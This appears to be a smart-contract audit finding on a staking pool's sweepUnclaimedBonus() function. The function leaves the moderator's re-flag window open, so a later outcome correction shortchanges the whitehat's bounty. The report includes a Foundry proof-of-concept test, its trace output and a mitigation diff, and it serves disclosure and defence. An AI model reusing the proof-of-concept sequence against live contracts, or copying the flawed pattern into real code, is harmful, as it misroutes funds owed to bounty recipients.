Description
-
After a pool resolves SURVIVED or EXPIRED, sweepUnclaimedBonus() lets anyone recover bonus tokens nobody is owed — when riskWindowStart == 0, no staker earned any bonus, so the entire totalBonus is fair game to sweep to recoveryAddress. This function deliberately does not set claimsStarted, specifically so a 1-wei donation can't be used to grief-close the moderator's correction window.
-
That same omission means sweepUnclaimedBonus() can move the entire live bonus pool — not just dust — while flagOutcome's re-flag window is still open, since that window's only gate is claimsStarted. A moderator's provisional SURVIVED flag (legal even when the registry reads CORRUPTED, as an out-of-scope judgment call) can be followed by a full bonus sweep, and then corrected to good-faith CORRUPTED — but the correction recomputes bountyEntitlement from the now-drained live totalBonus, permanently shorting the whitehat named in the correction.
function sweepUnclaimedBonus() external nonReentrant {
if (outcome != PoolStates.Outcome.SURVIVED && outcome != PoolStates.Outcome.EXPIRED) {
revert OutcomeNotEligibleForSweep();
}
uint256 reserved;
if (totalEligibleStake != 0) {
reserved = totalEligibleStake;
if (riskWindowStart != 0) {
reserved += snapshotTotalBonus - claimedBonus;
}
}
uint256 freeBalance = stakeToken.balanceOf(address(this));
uint256 amount = freeBalance > reserved ? freeBalance - reserved : 0;
if (amount == 0) revert NothingToSweep();
if (totalEligibleStake == 0 || riskWindowStart == 0) {
totalBonus -= amount <= totalBonus ? amount : totalBonus;
}
stakeToken.safeTransfer(recoveryAddress, amount);
emit BonusSwept(msg.sender, recoveryAddress, amount);
}
function flagOutcome(PoolStates.Outcome newOutcome, bool goodFaith_, address attacker_) external onlyModerator {
if (outcome != PoolStates.Outcome.UNRESOLVED && claimsStarted) revert OutcomeAlreadySet();
...
corruptedReserve = newOutcome == PoolStates.Outcome.CORRUPTED ? snapshotTotalStaked + snapshotTotalBonus : 0;
bountyEntitlement = willBeGoodFaithCorrupted ? snapshotTotalStaked + snapshotTotalBonus : 0;
...
}
Risk
Likelihood:
-
A pool's risk window stays unobserved (riskWindowStart == 0) whenever the registry transitions to a terminal state without any pool interaction happening during UNDER_ATTACK/PROMOTION_REQUESTED — a normal outcome for a pool nobody happens to poke during that window, not a contrived edge case, and one the codebase's own design doc already acknowledges as reachable.
-
A moderator facing a CORRUPTED registry read makes a provisional out-of-scope SURVIVED judgment, a permissionless caller sweeps the bonus in the same block or the next one, and the moderator then corrects to good-faith CORRUPTED once the in-scope determination is confirmed — this sequence follows the exact "fix a mistaken flag before anyone claims" workflow flagOutcome's re-flag window is built for, so the drain rides along an intended, everyday correction path rather than requiring an unusual sequence.
Impact:
-
The named good-faith whitehat's bounty is permanently short by the entire swept bonus amount — not dust, the full totalBonus at sweep time — with the difference stuck at recoveryAddress instead of reaching the attacker docs/DESIGN.md says is owed "the entire pool."
-
The shortfall is irreversible once claimAttackerBounty() pays out against the reduced bountyEntitlement; there is no later mechanism to top up the attacker's payment from the swept funds.
Proof of Concept
pragma solidity 0.8.26;
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract PoC_SweepBonusReflagDrainTest is BaseConfidencePoolTest {
function testPoC_SweepUnclaimedBonusDrainsBonusDuringOpenReflagWindow() external {
uint256 stakeAmt = 1_000e18;
uint256 bonusAmt = 500e18;
_stake(alice, stakeAmt);
_contributeBonus(bob, bonusAmt);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(uint8(pool.outcome()), uint8(PoolStates.Outcome.SURVIVED));
assertEq(pool.riskWindowStart(), 0, "precondition: risk window never observed");
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(recovery), bonusAmt, "entire bonus swept to recoveryAddress");
assertEq(pool.totalBonus(), 0, "live totalBonus zeroed by the sweep");
assertFalse(pool.claimsStarted(), "sweepUnclaimedBonus deliberately does not close the re-flag window");
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
assertEq(pool.bountyEntitlement(), stakeAmt, "BUG: entitlement excludes the already-swept bonus");
vm.prank(attacker);
pool.claimAttackerBounty();
assertEq(token.balanceOf(attacker), stakeAmt, "attacker receives only the stake, not stake+bonus");
assertEq(token.balanceOf(recovery), bonusAmt, "the 500e18 bonus is permanently stuck at recoveryAddress");
}
}
Run: forge test --match-path "SweepBonusReflagDrain.t.sol" -vvvv → PASS (gas: 591171)
[PASS] testPoC_SweepUnclaimedBonusDrainsBonusDuringOpenReflagWindow() (gas: 591171)
Traces:
[744229] PoC_SweepBonusReflagDrainTest::testPoC_SweepUnclaimedBonusDrainsBonusDuringOpenReflagWindow()
├─ [...] alice stakes 1000e18, bob contributeBonus 500e18 // pool balance: 1500e18
├─ [3254] MockAttackRegistry::setAgreementState(6) // CORRUPTED, jumped straight there — riskWindowStart never set
├─ [0] VM::prank(moderator)
├─ [148762] ConfidencePool::flagOutcome(1, false, address(0)) // provisional SURVIVED, out-of-scope judgment call
│ └─ emit OutcomeFlagged(outcome: 1, goodFaith: false, attacker: 0x0)
├─ [632] ConfidencePool::outcome() [staticcall] → 1 (SURVIVED)
├─ [1498] ConfidencePool::riskWindowStart() [staticcall] → 0 // precondition: risk window never observed
├─ [31842] ConfidencePool::sweepUnclaimedBonus()
│ ├─ [537] MockERC20::balanceOf(pool) [staticcall] → 1500000000000000000000 [1.5e21]
│ ├─ [24830] MockERC20::transfer(recovery, 500000000000000000000 [5e20])
│ │ ├─ emit Transfer(from: pool, to: recovery, value: 5e20)
//@>│ │ │ // <-- bonus drained to recovery WHILE outcome is still re-flaggable (claimsStarted still false)
│ │ └─ ← [Return] true
│ └─ emit BonusSwept(caller: test, recoveryAddress: recovery, amount: 5e20)
├─ [537] MockERC20::balanceOf(recovery) [staticcall] → 500000000000000000000 [5e20]
├─ [1382] ConfidencePool::totalBonus() [staticcall] → 0 // live totalBonus zeroed by the sweep
├─ [690] ConfidencePool::claimsStarted() [staticcall] → false // re-flag window still open
├─ [0] VM::prank(moderator)
├─ [68208] ConfidencePool::flagOutcome(2, true, attacker)
//@>│ │ // <-- moderator re-flags to good-faith CORRUPTED *after* the bonus was already swept, proving the window was still open
│ └─ emit OutcomeFlagged(outcome: 2, goodFaith: true, attacker: attacker)
├─ [502] ConfidencePool::bountyEntitlement() [staticcall] → 1000000000000000000000 [1e21]
//@>│ // <-- BUG: entitlement recomputed from the now-drained live totalBonus (0), excludes the swept 500e18
├─ [0] VM::prank(attacker)
├─ [53322] ConfidencePool::claimAttackerBounty()
│ ├─ [24830] MockERC20::transfer(attacker, 1000000000000000000000 [1e21])
│ └─ emit AttackerBountyClaimed(attacker, amount: 1e21, totalClaimed: 1e21, totalEntitlement: 1e21)
├─ [537] MockERC20::balanceOf(attacker) [staticcall] → 1000000000000000000000 [1e21] // stake only, not stake+bonus
├─ [537] MockERC20::balanceOf(recovery) [staticcall] → 500000000000000000000 [5e20] // the 500e18 bonus permanently stuck here
└─ ← [Return]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.60ms (405.91µs CPU time)
Recommended Mitigation
Setting claimsStarted = true inside sweepUnclaimedBonus closes the re-flag window the moment value actually leaves the pool, mirroring every other payout/sweep function in the contract (claimSurvived, claimCorrupted, claimAttackerBounty, sweepUnclaimedCorrupted all already do this) — sweepUnclaimedBonus was the one exception.
function sweepUnclaimedBonus() external nonReentrant {
if (outcome != PoolStates.Outcome.SURVIVED && outcome != PoolStates.Outcome.EXPIRED) {
revert OutcomeNotEligibleForSweep();
}
+ // A sweep that can drain the live bonus pool must close the re-flag window too —
+ // otherwise a later correction recomputes entitlement from an already-emptied pot.
+ if (!claimsStarted) claimsStarted = true;
uint256 reserved;
Trade-off to weigh: the existing code comment explains this was deliberately omitted so a griefer couldn't donate 1 wei and immediately lock the moderator's correction window. This fix reintroduces that exact griefing vector — anyone can now force-close the re-flag window early with a trivial donation-plus-sweep. A more targeted fix would gate the lock on the swept amount being non-dust (e.g. only when totalEligibleStake != 0 or amount exceeds a minimum), preserving the original anti-griefing intent while still closing the drain for any economically meaningful sweep.
